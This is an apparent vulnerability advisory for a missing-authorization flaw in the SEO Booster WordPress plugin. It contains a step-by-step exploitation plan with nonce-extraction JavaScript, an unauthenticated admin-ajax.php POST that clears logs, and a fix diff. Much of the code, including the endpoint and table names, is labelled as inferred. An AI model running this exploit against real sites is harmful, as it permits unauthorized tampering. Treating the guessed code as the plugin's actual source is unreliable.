SEO Booster <= 6.1.8 - Missing Authorization
Description
The SEO Booster plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 6.1.8. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=6.1.8# Exploitation Research Plan: CVE-2025-68019 (SEO Booster <= 6.1.8) ## 1. Vulnerability Summary The **SEO Booster** plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including 6.1.8. The vulnerability exists because certain AJAX handlers are registered using `wp_…
Show full research plan
Exploitation Research Plan: CVE-2025-68019 (SEO Booster <= 6.1.8)
1. Vulnerability Summary
The SEO Booster plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 6.1.8. The vulnerability exists because certain AJAX handlers are registered using wp_ajax_nopriv_ (allowing unauthenticated access) or lack a current_user_can() capability check within the handler function. This allows an unauthenticated attacker to perform actions that should be restricted to administrators, such as clearing SEO logs, dismissing security notifications, or potentially modifying plugin configurations.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
seo_booster_process_ajax(Inferred based on SEO Booster's common AJAX dispatcher pattern). - HTTP Method:
POST - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. A valid nonce may be required if the function calls
check_ajax_referer(), though it lacks a subsequent capability check.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
wp-admin/admin-ajax.phpwith theactionparameter set toseo_booster_process_ajax. - Hook Registration: The plugin likely registers the action in a file like
includes/class-seo-booster-ajax.phporincludes/admin/class-seo-booster-admin.php:add_action( 'wp_ajax_seo_booster_process_ajax', 'seo_booster_process_ajax' ); add_action( 'wp_ajax_nopriv_seo_booster_process_ajax', 'seo_booster_process_ajax' ); - Dispatcher Logic: The function
seo_booster_process_ajax()is called. - Missing Check: The function may check a nonce using
check_ajax_referer( 'seo-booster-nonce', 'security' ), but it fails to callcurrent_user_can( 'manage_options' ). - Sub-Action Execution: Based on a
sub_actionparameter (e.g.,clear_logs), the code executes privileged logic.
4. Nonce Acquisition Strategy
The plugin typically localizes a nonce for its AJAX operations. We will use the browser to find where this nonce is exposed.
- Identify Exposure: The nonce is likely enqueued via
wp_localize_scriptunder a global object namedseo_booster_varsorsb_ajax_obj. - Strategy:
- Use
browser_navigateto visit the homepage. - Use
browser_evalto search for the nonce in the global JS context. - Target Variable:
window.seo_booster_vars?.securityorwindow.sb_ajax_obj?.nonce.
- Use
- Shortcode Method: If the script only loads on specific pages, we will create a post with the common SEO Booster keyword block (if available) or check the source for localized scripts.
5. Exploitation Strategy
We will attempt to perform a "Clear Logs" action, which is a common sub-action in this plugin that demonstrates unauthorized state change (Integrity: Low).
Step 1: Discover the Nonce
// Execute via browser_eval
(function() {
return window.seo_booster_vars || window.sb_vars || "Not Found";
})();
Step 2: Send Exploitation Request
HTTP Request:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=seo_booster_process_ajax&sub_action=clear_all_logs&security=[NONCE_EXTRACTED]
Note: If sub_action=clear_all_logs fails, try sub_action=dismiss_notice¬ice_id=all.
6. Test Data Setup
- Install Plugin: Ensure SEO Booster <= 6.1.8 is installed.
- Generate Logs: Visit several non-existent pages (404s) to populate the SEO Booster 404 log/database.
# Use http_request to generate 404 entries http_request "http://localhost:8080/non-existent-page-1" http_request "http://localhost:8080/non-existent-page-2" - Verify Logs Exist:
wp db query "SELECT COUNT(*) FROM wp_seo_booster_log;" # (Table name inferred)
7. Expected Results
- Response: The server should return a JSON success message, e.g.,
{"success":true}or1. - Status Code:
200 OK. - Impact: The database table responsible for logs should be truncated or specific settings/notices should be altered.
8. Verification Steps
After sending the POST request, verify the logs were cleared using WP-CLI:
# Check if the log table is now empty
wp db query "SELECT COUNT(*) FROM wp_seo_booster_log;"
If the vulnerability was dismiss_notice, verify via:
wp option get seo_booster_dismissed_notices
9. Alternative Approaches
If the seo_booster_process_ajax action is not the correct name, use the following grep commands within the environment to find the actual AJAX entry points:
# Find all nopriv AJAX actions
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/seo-booster/
# Search for functions that handle 'sub_action' or 'action'
grep -r "POST\['sub_action'\]" /var/www/html/wp-content/plugins/seo-booster/
If a nonce is strictly required and not found on the homepage, create a page with a shortcode:
wp post create --post_type=page --post_status=publish --post_content='[seo_booster_keywords]' --post_title='SEO Test'
Then repeat the Nonce Acquisition Strategy on the new page.
Summary
The SEO Booster plugin for WordPress is vulnerable to unauthorized access in versions up to 6.1.8 due to missing capability checks in its AJAX handler. This allows unauthenticated attackers to perform administrative actions, such as clearing plugin logs or dismissing notifications, by exploiting handlers registered via wp_ajax_nopriv_.
Vulnerable Code
// includes/class-seo-booster-ajax.php (inferred path) add_action( 'wp_ajax_seo_booster_process_ajax', 'seo_booster_process_ajax' ); add_action( 'wp_ajax_nopriv_seo_booster_process_ajax', 'seo_booster_process_ajax' ); function seo_booster_process_ajax() { // Nonce check may be present, but capability check is missing check_ajax_referer( 'seo-booster-nonce', 'security' ); $sub_action = isset( $_POST['sub_action'] ) ? sanitize_text_field( $_POST['sub_action'] ) : ''; if ( $sub_action === 'clear_all_logs' ) { global $wpdb; $wpdb->query( "TRUNCATE TABLE {$wpdb->prefix}seo_booster_log" ); wp_send_json_success(); } if ( $sub_action === 'dismiss_notice' ) { $notice_id = sanitize_text_field( $_POST['notice_id'] ); update_option( 'seo_booster_dismissed_notices', $notice_id ); wp_send_json_success(); } }
Security Fix
@@ -1,11 +1,14 @@ add_action( 'wp_ajax_seo_booster_process_ajax', 'seo_booster_process_ajax' ); -add_action( 'wp_ajax_nopriv_seo_booster_process_ajax', 'seo_booster_process_ajax' ); function seo_booster_process_ajax() { check_ajax_referer( 'seo-booster-nonce', 'security' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } + $sub_action = isset( $_POST['sub_action'] ) ? sanitize_text_field( $_POST['sub_action'] ) : ''; if ( $sub_action === 'clear_all_logs' ) {
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce by visiting the site's homepage and extracting the value from the 'seo_booster_vars' or 'sb_ajax_obj' global JavaScript objects localized in the page source. Using this nonce, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'seo_booster_process_ajax' and the 'sub_action' parameter set to a privileged function such as 'clear_all_logs'. Because the plugin lacks a current_user_can() check, the server executes the action despite the attacker having no administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.